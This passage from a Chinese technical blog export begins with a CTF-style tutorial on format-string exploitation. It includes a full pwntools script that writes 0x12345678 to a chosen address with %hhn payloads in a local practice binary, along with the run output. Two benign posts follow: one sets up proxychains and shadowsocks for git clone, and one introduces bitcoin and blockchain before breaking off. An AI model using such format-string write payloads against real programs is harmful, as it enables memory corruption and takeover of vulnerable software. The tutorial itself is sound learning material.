operator">*</span><span class="token keyword">def</span> <span class="token function">fmt</span><span class="token punctuation">(</span>prev<span class="token punctuation">,</span>word<span class="token punctuation">,</span>index<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword">if</span> prev <span class="token operator"><</span> word<span class="token punctuation">:</span> <span class="token comment" spellcheck="true">#传过来的word依次为0x78,0x56,0x34,0x12;传过来的prev依次为4,0x78,0x56,0x34</span> result <span class="token operator">=</span> word <span class="token operator">-</span> prev fmtstr <span class="token operator">=</span> <span class="token string">"%"</span> <span class="token operator">+</span> str<span class="token punctuation">(</span>result<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"c"</span> <span class="token keyword">elif</span> prev <span class="token operator">==</span> word<span class="token punctuation">:</span> result <span class="token operator">=</span> <span class="token number">0</span> <span class="token keyword">else</span><span class="token punctuation">:</span> result <span class="token operator">=</span> <span class="token number">256</span> <span class="token operator">+</span> word <span class="token operator">-</span> prev fmtstr <span class="token operator">=</span> <span class="token string">"%"</span> <span class="token operator">+</span> str<span class="token punctuation">(</span>result<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"c"</span> fmtstr <span class="token operator">+=</span> <span class="token string">"%"</span> <span class="token operator">+</span> str<span class="token punctuation">(</span>index<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"$hhn"</span> <span class="token keyword">print</span><span class="token punctuation">(</span>fmtstr<span class="token punctuation">)</span> <span class="token keyword">return</span> fmtstr<span class="token keyword">def</span> <span class="token function">fmt_str</span><span class="token punctuation">(</span>offset<span class="token punctuation">,</span>size<span class="token punctuation">,</span>addr<span class="token punctuation">,</span>target<span class="token punctuation">)</span><span class="token punctuation">:</span> payload <span class="token operator">=</span> <span class="token string">""</span> <span class="token keyword">for</span> i <span class="token keyword">in</span> range<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword">if</span> size <span class="token operator">==</span> <span class="token number">4</span><span class="token punctuation">:</span> payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>addr <span class="token operator">+</span> i<span class="token punctuation">)</span> <span class="token keyword">else</span><span class="token punctuation">:</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>addr <span class="token operator">+</span> i<span class="token punctuation">)</span> prev <span class="token operator">=</span> len<span class="token punctuation">(</span>payload<span class="token punctuation">)</span> <span class="token keyword">for</span> i <span class="token keyword">in</span> range<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">:</span> payload <span class="token operator">+=</span> fmt<span class="token punctuation">(</span>prev<span class="token punctuation">,</span><span class="token punctuation">(</span>target <span class="token operator">>></span> i <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token operator">&</span> <span class="token number">0xff</span><span class="token punctuation">,</span>offset <span class="token operator">+</span> i<span class="token punctuation">)</span><span class="token comment" spellcheck="true">#乘法运算优先级高于左移运算,右移8位是二进制的8位,转成16进制之后就是每次右移两位。'&0xff'目的是除了最右边两位不变,其它位都置零。</span> prev <span class="token operator">=</span> <span class="token punctuation">(</span>target <span class="token operator">>></span> i <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">&</span> <span class="token number">0xff</span> <span class="token comment" spellcheck="true">#prev的初值为4,之后依次为0x78,0x56,0x34,0x12</span> <span class="token keyword">return</span> payload payload <span class="token operator">=</span> fmt_str<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">0x0804A028</span><span class="token punctuation">,</span><span class="token number">0x12345678</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其中每个参数的含义基本如下</p><ul><li>offset表示要覆盖的地址的最初的偏移</li><li>size表示机器字长</li><li>addr表示将要覆盖的地址</li><li>target表示我们要覆盖为的目的变量值</li></ul><p>说实话一开始没太看懂这个payload的构造,于是我一步步分析了程序并先打印了这个fmt()函数的运行结果</p><blockquote><p>python运算中,乘法优先级在右移优先级之前。</p><p>pre1 = (0x12345678) >> 0 * 8</p><p>pre1 –> 0x12345678</p><p>pre2 = pre1 & 0xff</p><p>pre2 –>0x78</p></blockquote><blockquote><p>fmt函数运行结果如下</p><p>%104c%6$hhn<br>%222c%7$hhn<br>%222c%8$hhn<br>%222c%9$hhn</p><p>payload结果如下</p><p>(\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn</p><p>payload前面一段是p32形式的攻击地址 后面%(num)c%(index)$hhn表示向第index个参数处以单字节的形式写入特定数值[0x78,0x56,0x34,0x12]</p></blockquote><p>完整的exploit如下</p><pre class="line-numbers language-python"><code class="language-python"><span class="token comment" spellcheck="true">#-*- coding=utf-8 -*-</span><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token keyword">def</span> <span class="token function">fmt</span><span class="token punctuation">(</span>prev<span class="token punctuation">,</span>word<span class="token punctuation">,</span>index<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword">if</span> prev <span class="token operator"><</span> word<span class="token punctuation">:</span> <span class="token comment" spellcheck="true">#传过来的word依次为0x78,0x56,0x34,0x12;传过来的prev依次为0x10,0x78,0x56,0x34</span> result <span class="token operator">=</span> word <span class="token operator">-</span> prev fmtstr <span class="token operator">=</span> <span class="token string">"%"</span> <span class="token operator">+</span> str<span class="token punctuation">(</span>result<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"c"</span> <span class="token keyword">elif</span> prev <span class="token operator">==</span> word<span class="token punctuation">:</span> result <span class="token operator">=</span> <span class="token number">0</span> <span class="token keyword">else</span><span class="token punctuation">:</span> result <span class="token operator">=</span> <span class="token number">256</span> <span class="token operator">+</span> word <span class="token operator">-</span> prev fmtstr <span class="token operator">=</span> <span class="token string">"%"</span> <span class="token operator">+</span> str<span class="token punctuation">(</span>result<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"c"</span> fmtstr <span class="token operator">+=</span> <span class="token string">"%"</span> <span class="token operator">+</span> str<span class="token punctuation">(</span>index<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"$hhn"</span> <span class="token keyword">print</span><span class="token punctuation">(</span>fmtstr<span class="token punctuation">)</span> <span class="token keyword">return</span> fmtstr<span class="token keyword">def</span> <span class="token function">fmt_str</span><span class="token punctuation">(</span>offset<span class="token punctuation">,</span>size<span class="token punctuation">,</span>addr<span class="token punctuation">,</span>target<span class="token punctuation">)</span><span class="token punctuation">:</span> payload <span class="token operator">=</span> <span class="token string">""</span> <span class="token keyword">for</span> i <span class="token keyword">in</span> range<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword">if</span> size <span class="token operator">==</span> <span class="token number">4</span><span class="token punctuation">:</span> payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>addr <span class="token operator">+</span> i<span class="token punctuation">)</span> <span class="token keyword">else</span><span class="token punctuation">:</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>addr <span class="token operator">+</span> i<span class="token punctuation">)</span> prev <span class="token operator">=</span> len<span class="token punctuation">(</span>payload<span class="token punctuation">)</span> <span class="token keyword">for</span> i <span class="token keyword">in</span> range<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">:</span> payload <span class="token operator">+=</span> fmt<span class="token punctuation">(</span>prev<span class="token punctuation">,</span><span class="token punctuation">(</span>target <span class="token operator">>></span> i <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token operator">&</span> <span class="token number">0xff</span><span class="token punctuation">,</span>offset <span class="token operator">+</span> i<span class="token punctuation">)</span><span class="token comment" spellcheck="true">#乘法运算优先级高于左移运算,右移8位是二进制的8位,转成16进制之后就是每次右移两位。'&0xff'目的是除了最右边两位不变,其它位都置零。</span> prev <span class="token operator">=</span> <span class="token punctuation">(</span>target <span class="token operator">>></span> i <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">&</span> <span class="token number">0xff</span> <span class="token comment" spellcheck="true">#prev的初值为4,之后依次为0x78,0x56,0x34,0x12</span> <span class="token keyword">return</span> payload <span class="token keyword">def</span> <span class="token function">proc</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span> sh <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">"./overflow_1"</span><span class="token punctuation">)</span> payload <span class="token operator">=</span> fmt_str<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">0x0804A028</span><span class="token punctuation">,</span><span class="token number">0x12345678</span><span class="token punctuation">)</span> <span class="token keyword">print</span><span class="token punctuation">(</span>payload<span class="token punctuation">)</span> sh<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span> <span class="token keyword">print</span><span class="token punctuation">(</span>sh<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> sh<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>proc<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>结果如下</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ python exploit.py [+] Starting local process './overflow_1': pid 2780%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn(\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn0xff97f18c(\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04 ( � \xbb Nmodified b for a big number![*] Switching to interactive mode[*] Got EOF while reading in interactive<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>fmt()函数里的else部分我看了好久都没弄明白,为什么第一次写入0x78,后面还能写入0x56,0x34,0x12。因为写入的值是根据前面成功输出的字符个数来决定的,怎么会越写越小呢?</p><pre class="line-numbers language-python"><code class="language-python"><span class="token keyword">else</span><span class="token punctuation">:</span> result <span class="token operator">=</span> <span class="token number">256</span> <span class="token operator">+</span> word <span class="token operator">-</span> prev fmtstr <span class="token operator">=</span> <span class="token string">"%"</span> <span class="token operator">+</span> str<span class="token punctuation">(</span>result<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"c"</span>fmtstr <span class="token operator">+=</span> <span class="token string">"%"</span> <span class="token operator">+</span> str<span class="token punctuation">(</span>index<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"$hhn"</span> <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p><strong>result = 256 + word - prev</strong>,可以看到word - prev = -(0x22),而0x78-0x22就等于0x56,也就是我们想要写入的第二个值,那么为什么又要加256呢?</p><p><strong>%hhn是具有溢出功能的,前面成功输出的字符个数超过255就会从0重新开始计数(比如260就相当于260-256=4)。所以加256并不影响结果,那这里为什么要加256呢?因为word-prev的值是负数,不能直接使用%[num]c (num为负数),于是先加256,在后面计算输出字符个数的时候会自动减去256。这时候就相当于写入了0x56,后面的0x34,0x12依次类推。</strong></p><blockquote><p>当然,我们也可以利用 %n 分别对每个地址进行写入,也可以得到对应的答案,但是由于我们写入的变量都只会影响由其开始的四个字节,所以最后一个变量写完之后,我们可能会修改之后的三个字节,如果这三个字节比较重要的话,程序就有可能因此崩溃。而采用 %hhn 则不会有这样的问题,因为这样只会修改相应地址的一个字节。</p><p>上面是CTF-Wiki写的,我个人的理解是用%n写入0x12345678这个数据,%n是把已经成功输出字符的个数写入对应指针指向的整型(int)变量,整型(int)变量占4个字节,但是使用%hhn只会修改1个字节。</p></blockquote><pre><code> � \xbb Nmodified b for a big number!</code></pre><p>[<em>] Switching to interactive mode<br>[</em>] Got EOF while reading in interactive</p><pre><code>fmt()函数里的else部分我看了好久都没弄明白,为什么第一次写入0x78,后面还能写入0x56,0x34,0x12。因为写入的值是根据前面成功输出的字符个数来决定的,怎么会越写越小呢?```pythonelse: result = 256 + word - prev fmtstr = "%" + str(result) + "c"fmtstr += "%" + str(index) + "$hhn" </code></pre><p><strong>result = 256 + word - prev</strong>,可以看到word - prev = -(0x22),而0x78-0x22就等于0x56,也就是我们想要写入的第二个值,那么为什么又要加256呢?</p><p><strong>%hhn是具有溢出功能的,前面成功输出的字符个数超过255就会从0重新开始计数(比如260就相当于260-256=4)。所以加256并不影响结果,那这里为什么要加256呢?因为word-prev的值是负数,不能直接使用%[num]c (num为负数),于是先加256,在后面计算输出字符个数的时候会自动减去256。这时候就相当于写入了0x56,后面的0x34,0x12依次类推。</strong></p><blockquote><p>当然,我们也可以利用 %n 分别对每个地址进行写入,也可以得到对应的答案,但是由于我们写入的变量都只会影响由其开始的四个字节,所以最后一个变量写完之后,我们可能会修改之后的三个字节,如果这三个字节比较重要的话,程序就有可能因此崩溃。而采用 %hhn 则不会有这样的问题,因为这样只会修改相应地址的一个字节。</p><p>上面是CTF-Wiki写的,我个人的理解是用%n写入0x12345678这个数据,%n是把已经成功输出字符的个数写入对应指针指向的整型(int)变量,整型(int)变量占4个字节,但是使用%hhn只会修改1个字节。</p></blockquote><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> pwn </category>
</categories>
<tags>
<tag> format string </tag>
</tags>
</entry>
<entry>
<title>git clone提速|使用proxychains+代理服务</title>
<link href="/2020/04/13/fast-git-clone/"/>
<url>/2020/04/13/fast-git-clone/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>从 github上git clone资源,由于地域限制原因,大陆会特别慢,一般就在0-10KB/s的样子,用Xdown跑多线程都救不了。小项目都得等好久,大项目常规方式基本下不了。Windows现在可以使用国内的码云进行转接项目。但是对于linux虚拟机git clone的话,还是使用<strong>proxychain + 代理</strong>比较方便。</p><h2 id="kali-linux篇"><a href="#kali-linux篇" class="headerlink" title="kali linux篇"></a>kali linux篇</h2><blockquote><p>下面内容包括:<br>1.怎么从linux git clone自己的私库(涉及到RSA密码)<br>2.git clone from 太慢,怎么使用proxychains提速<br>3.如何安装linux的shadowsocks(官方教程亲测不行)</p></blockquote><h3 id="1-linux的github-ssh-key配置"><a href="#1-linux的github-ssh-key配置" class="headerlink" title="1.linux的github ssh key配置"></a>1.linux的github ssh key配置</h3><p><strong>(1)设置git 的user name 和email</strong><br>$ git config –global user.name “user_name”<br>$ git config –global user.email “<a href="mailto:xxx@gmail.com">xxx@gmail.com</a>“</p><p><strong>(2)生成密钥过程</strong><br>先查看有没有密钥(我就是弄了两次,第一次没弄好,一定要删除,不能把密钥弄混了)<br>用cd ~/.ssh命令查看是否生成密钥<br>生成密钥:<br>命令行:$ ssh-keygen -t rsa -C “<a href="mailto:xxx@gmail.com">xxx@gmail.com</a>”<br>连续三次回车,密码设置为空。</p><p>会得到两个文件:id_rsa和id_rsa.pub</p><p><strong>(3)github上添加密钥</strong><br>登录github,添加ssh,添加的密钥是id_rsa.pub里面的<br>添加好之后是这样的:<br><img src="https://img-blog.csdnimg.cn/20200412234232889.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="添加密钥成功"><br>如果还不行(我是可以),问题应该出在了git仓库没有和SSH key关联上,<br>命令行输入:ssh-add “你的 id-rsa 文件地址”<br>注意这里ssh-add后面填的是私钥地址<br>如mac电脑是 /Users/用户名/.ssh/id_rsa</p><p><strong>(4)测试:ssh <a href="mailto:git@github.com">git@github.com</a></strong></p><h3 id="2-kali使用proxychains-加速git-clone-from-github"><a href="#2-kali使用proxychains-加速git-clone-from-github" class="headerlink" title="2.kali使用proxychains 加速git clone from github"></a>2.kali使用proxychains 加速git clone from github</h3><p>仓库都搞好了,我应该高高兴兴去git clone了,然而…这速度能急死人,20%之后就特别慢了,国内能搜到的教程基本没用。<br><strong>安装proxychains</strong></p><pre><code>git clone https://github.com/rofl0r/proxychains-ngcd proxychains-ng./configuresudo make && make installcp src/proxychains.conf /etc/proxychains.conf</code></pre><p><strong>配置proxychains</strong></p><pre><code>vim /etc/proxychains.conf在最后一行加上socks5 127.0.0.1 1080(只要socks5就行)</code></pre><p><img src="https://img-blog.csdnimg.cn/20200412235006812.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="配置完成"></p><h3 id="3-最后重点讲一下怎么在linux安装shadowsocks"><a href="#3-最后重点讲一下怎么在linux安装shadowsocks" class="headerlink" title="3.最后重点讲一下怎么在linux安装shadowsocks"></a>3.最后重点讲一下怎么在linux安装shadowsocks</h3><p><a href="https://www.jichang.uk/posts/shadowsocks-linux.html#%E5%85%A8%E5%B1%80%E4%BB%A3%E7%90%86" target="_blank" rel="noopener">官网教程</a>(已失效)<br>第2点的proxychains我就是借鉴这个教程的(可用),但是它前面的那个shadowsocks安装方法已经失效了…被这个卡到抓狂。<br><a href="https://github.com/shadowsocks/shadowsocks-libev">有效教程</a><br><strong>(1)安装shadowsocks</strong></p><pre><code>apt install shadowsocks-libevvim /etc/shadowsocks.json</code></pre><p><strong>(2)配置shadowsocks</strong></p><pre><code>把在官网购买好的有效信息填进去即可,具体参考官网教程</code></pre><p><img src="https://img-blog.csdnimg.cn/2020041223525120.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="配置信息"><br><strong>(3)启动shadowsocks</strong></p><pre><code>ss-local -c /etc/shadowsocks.json</code></pre><p><img src="https://img-blog.csdnimg.cn/20200412235352377.jpg#pic_center" alt="启动成功"><br><strong>(4)使用proxychains4代理</strong><br>启动完成如上图,新建一个窗口proxychains4即可<br><img src="https://img-blog.csdnimg.cn/20200412235452333.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="使用代理加速下载"></p><hr><h2 id="ubuntu16-04-篇"><a href="#ubuntu16-04-篇" class="headerlink" title="ubuntu16.04 篇"></a>ubuntu16.04 篇</h2><blockquote><p>给kali装了shadowsocks之后,git clone 嗖嗖的。今天配ubuntu16.04,新装的机打pwn用,配置pwndbg的时候git clone下载特别慢就想着给ubuntu也挂个代理。</p></blockquote><h3 id="1-ubuntu和kali的区别"><a href="#1-ubuntu和kali的区别" class="headerlink" title="1.ubuntu和kali的区别"></a>1.ubuntu和kali的区别</h3><p>ubuntu16.04和kali linux的区别在于<strong>ubuntu16.04的PPA中支持shadowsocks-libev的下载</strong><br><a href="https://zhuanlan.zhihu.com/p/55250294" target="_blank" rel="noopener">什么是PPA?</a><br><a href="https://launchpad.net/~max-c-lv/+archive/ubuntu/shadowsocks-libev" target="_blank" rel="noopener">怎么把shadowsocks-libev添加到PPA中</a></p><h3 id="2-添加shadowsocks到PPA并安装"><a href="#2-添加shadowsocks到PPA并安装" class="headerlink" title="2.添加shadowsocks到PPA并安装"></a>2.添加shadowsocks到PPA并安装</h3><p><strong>安装过程</strong></p><pre><code>sudo add-apt-repository ppa:max-c-lv/shadowsocks-libevsudo apt-get updatesudo apt install shadowsocks-libev</code></pre><p><strong>配置shadowsocks</strong></p><pre><code>vim /etc/shadowsocks.json</code></pre><p><img src="https://img-blog.csdnimg.cn/20200413001501379.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="配置信息"></p><h3 id="3-下载proxychains"><a href="#3-下载proxychains" class="headerlink" title="3.下载proxychains"></a>3.下载proxychains</h3><p><strong>下载</strong></p><pre><code>apt install proxychains</code></pre><p><strong>配置</strong></p><pre><code>vim /etc/proxychains.conf最后一行加上 socks5 127.0.0.1 1080</code></pre><p><img src="https://img-blog.csdnimg.cn/20200413001643868.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70#pic_center" alt="配置完成"><br><strong>使用proxychains+代理</strong></p><pre><code>ss-local -c /etc/shadowsocks.jsonproxychains git clone https://github.com/pwndbg/pwndbg</code></pre><blockquote><p>使用proxychains+代理,速度一般稳定在几百K/s,对于一般项目来说已经足够。</p></blockquote><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> git clone提速 </category>
</categories>
<tags>
<tag> kali linux </tag>
<tag> ubuntu16.04 </tag>
</tags>
</entry>
<entry>
<title>区块链 | 比特币与区块链介绍以及区块链安全</title>
<link href="/2020/04/12/block-chain/"/>
<url>/2020/04/12/block-chain/</url>
<content type="html"><![CDATA[<h1 id="第一节"><a href="#第一节" class="headerlink" title="第一节"></a>第一节</h1><blockquote><p>本节内容主要有:什么是比特币、比特币的起源与发展、区块及区块链的定义,矿机挖矿的原理。</p></blockquote><h2 id="什么是比特币"><a href="#什么是比特币" class="headerlink" title="什么是比特币"></a>什么是比特币</h2><p>比特币(BitCoin)是一种P2P形式的虚拟货币。2008年,一个名叫中本聪(Satoshi Nakamoto)的人发明了比特币,他在网络上发表了《比特币:一种点对点的电子现金系统》,即《白皮书》。点对点的传输意味着一个去中心化的电子记账系统的建立。</p><h3 id="去中心化的电子记账系统"><a href="#去中心化的电子记账系统" class="headerlink" title="去中心化的电子记账系统"></a>去中心化的电子记账系统</h3><p>和传统的记账方式不同(传统记账由银行来进行操作,可信度基于国家信用),去中心化则不需要依靠传统银行机构,每个人的账单记录都是公开的。<br><img src="https://img-blog.csdnimg.cn/20200412173201536.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="传统记账系统"><br>举例来说,有A,B,C,D四个人进行交易,每次交易内容都会告诉其它三个人。<br><img src="https://img-blog.csdnimg.cn/20200412173320898.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="去中心化的记账系统"></p><hr><h2 id="区块-amp-amp-区块链"><a href="#区块-amp-amp-区块链" class="headerlink" title="区块&&区块链"></a>区块&&区块链</h2><p>A,B,C,D四个人的账单信息进行打包,就形成了一个<strong>区块(block)</strong>。一般来说一个区块的大小大约为1M,可以存放4000条左右的记录。<br><img src="https://img-blog.csdnimg.cn/20200412173953708.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="区块"><br>一个区块打包完成之后,把它接到前一个区块上,并且之后打包的区块接在目前这个区块之后,这样形成的一条链我们称为<strong>区块链(Block Chain)</strong>。<br><img src="https://img-blog.csdnimg.cn/20200412174527420.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="区块链"></p><h3 id="为何我需要记账?"><a href="#为何我需要记账?" class="headerlink" title="为何我需要记账?"></a>为何我需要记账?</h3><blockquote><p>记录和自己的资金不相干的账单,占用了自己的电脑资源,我们为什么要记账?</p></blockquote><p><strong>记账奖励</strong><br>记账是由于记账可以得到奖励。<br><strong>(1)手续费</strong><br>举例来说,A支付10个比特币给B,实际上A支付的要比10个比特币多一点,多出的一点就是给记账人的手续费。(比特币交易的手续费比传统交易的手续费低)<br><strong>(2)打包奖励</strong><br>从比特币系统运行开始,在第一个四年里,每打一次包奖励50个比特币,在第二个四年里,每打一个包奖励25个比特币,在第三个四年里,每打一个包奖励12.5个比特币…依次类推,每过一个四年,打包奖励少一半。</p><h4 id="比特币总量"><a href="#比特币总量" class="headerlink" title="比特币总量"></a>比特币总量</h4><p>中本聪在最初提出比特币时,规定每十分钟打一个包。我们可以计算出比特币总量如下:</p><blockquote><p>50 <em> 6 </em> 24 <em> 365 </em> 4 * (1/2 + 1/4 +1/8 + …(1/2)^n^)=2100万</p></blockquote><h3 id="账单以谁为准?"><a href="#账单以谁为准?" class="headerlink" title="账单以谁为准?"></a>账单以谁为准?</h3><blockquote><p>因为记账奖励丰厚,一群人抢着去进行打包,但由于网络延迟,可能每个人收到账单不同,这种时候该以谁为准?</p></blockquote><h4 id="工作量证明"><a href="#工作量证明" class="headerlink" title="工作量证明"></a>工作量证明</h4><p>每一个参与打包的用户都要去做一个很难的数学题,如果你可以做出这道数学题,就可以去进行打包了。这个数学题难到没有哪一个人可以通过脑子去计算出来,而必须通过一个一个数去尝试,直到你去把这个数尝试出来了,就有机会去获得奖励,这个过程叫做<strong>挖矿</strong>。</p><h3 id="挖矿原理"><a href="#挖矿原理" class="headerlink" title="挖矿原理"></a>挖矿原理</h3><h4 id="哈希函数"><a href="#哈希函数" class="headerlink" title="哈希函数"></a>哈希函数</h4><p><strong>我们可以通过运算,把一串字符串转化成为一个摘要的形式。</strong> 并且正着算容易,反过来算很难(即可以通过字符串得到摘要,但不能通过摘要获得字符串)<br><strong>以SHA256函数举例:</strong></p><pre><code>sha256("abcd") = 1010...(256位二进制数)正算很容易,反算很难。如果给出一串256位的二进制数,求原来的输入,就只能通过一个一个尝试的方式去寻找。</code></pre><h4 id="具体原理"><a href="#具体原理" class="headerlink" title="具体原理"></a>具体原理</h4><p><strong>区块由头部和账单信息组成。</strong><br><img src="https://img-blog.csdnimg.cn/20200412181422148.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="区块组成"><br>假设现在有很多人想要去接块,每个人都有一分记录好的账单。<br>在接块的时候必须要算一个数学题:<br><strong>1.字符串:前块的头部+账单信息+时间戳+…+随机数</strong><br><strong>2.Hash=sha256(sha256(字符串))</strong><br><strong>3.计算得到的Hash值需要符合要求</strong></p><blockquote><p>比如说要求前n位为0:即 Hash=000…11011(前n位为0即可满足条件,获得接块的权利)</p></blockquote><p><strong>4.符合要求之后进行打包</strong><br>把计算得到的Hash值作为新块的头部,账单作为新块的信息,即可打包成一个新块从而获得奖励。<br><img src="https://img-blog.csdnimg.cn/20200412182346723.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt="新块上链"><br><strong>怎么去使得字符串满足要求?</strong><br>我们来看字符串的组成,<strong>字符串:前块的头部+账单信息+时间戳+…+随机数</strong></p><p><strong>我们可以改变的只有随机数,二进制从0开始一直尝试。</strong> 每个人的计算难度是不一样的,但是平均而言,挖到矿的可能性大小与计算能力相关联,谁的计算能力强,谁就有更大的可能去挖到这个矿。</p><h4 id="挖矿难度设置"><a href="#挖矿难度设置" class="headerlink" title="挖矿难度设置"></a>挖矿难度设置</h4><p><strong>挖矿难度由要求Hash值的前n位来设置。</strong><br>前n位为指定数,比如前n个都是0,概率为 (1/2)^n^ 。<br>中本聪当初设置在每十分钟出一个块,如何保证在10分钟内能出一个块呢?则需要调整n的大小即挖矿难度。</p><blockquote><p>例:假设世界上有10^4^台矿机,每台矿机的运算速度为14T/s(即每秒可以进行1.4 <em> 10^13^次哈希运算)<br>10min计算次数:1.4 </em> 10^13^ <em> 10^4^ </em> 600 = 8 * 10^19^ ,大概相当于 2^66^ 